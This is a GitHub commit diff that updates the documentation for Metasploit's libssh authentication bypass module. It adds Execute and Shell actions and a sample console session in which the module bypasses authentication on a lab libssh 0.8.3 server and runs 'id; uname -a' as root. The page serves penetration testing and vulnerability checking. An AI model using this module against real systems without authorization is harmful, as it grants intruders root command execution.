Skip to content

Commit d7501d0

Browse files
committed
Update module doc
1 parent 58a1b65 commit d7501d0

File tree

1 file changed

+29
-1
lines changed

1 file changed

+29
-1
lines changed

documentation/modules/auxiliary/scanner/ssh/libssh_auth_bypass.md

Lines changed: 29 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,13 +20,22 @@ additional code paths to be followed.
2020
4. Follow the steps in `INSTALL` to build libssh
2121
5. Run `build/examples/ssh_server_fork` (I like to `strace` it)
2222

23+
## Actions
24+
25+
```
26+
Name Description
27+
---- -----------
28+
Execute Execute a command
29+
Shell Spawn a shell
30+
```
31+
2332
## Options
2433

2534
**CMD**
2635

2736
Set this to a command you want to execute in lieu of a standard shell
2837
session. An `exec` channel request will be sent instead of a `shell`
29-
request.
38+
request. This can also be used to choose an alternative shell.
3039

3140
**SPAWN_PTY**
3241

@@ -76,6 +85,25 @@ tty
7685
#
7786
```
7887

88+
Positive testing of shell commands using the `Execute` action:
89+
90+
```
91+
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set action Execute
92+
action => Execute
93+
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set cmd id; uname -a
94+
cmd => id; uname -a
95+
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
96+
97+
[*] 172.28.128.3:2222 - Attempting authentication bypass
98+
[+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
99+
[*] 172.28.128.3:2222 - Executed: id; uname -a
100+
uid=0(root) gid=0(root) groups=0(root)
101+
Linux ubuntu-xenial 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
102+
[*] Scanned 1 of 1 hosts (100% complete)
103+
[*] Auxiliary module execution completed
104+
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) >
105+
```
106+
79107
Negative testing against patched libssh 0.8.4:
80108

81109
```

0 commit comments

Comments
 (0)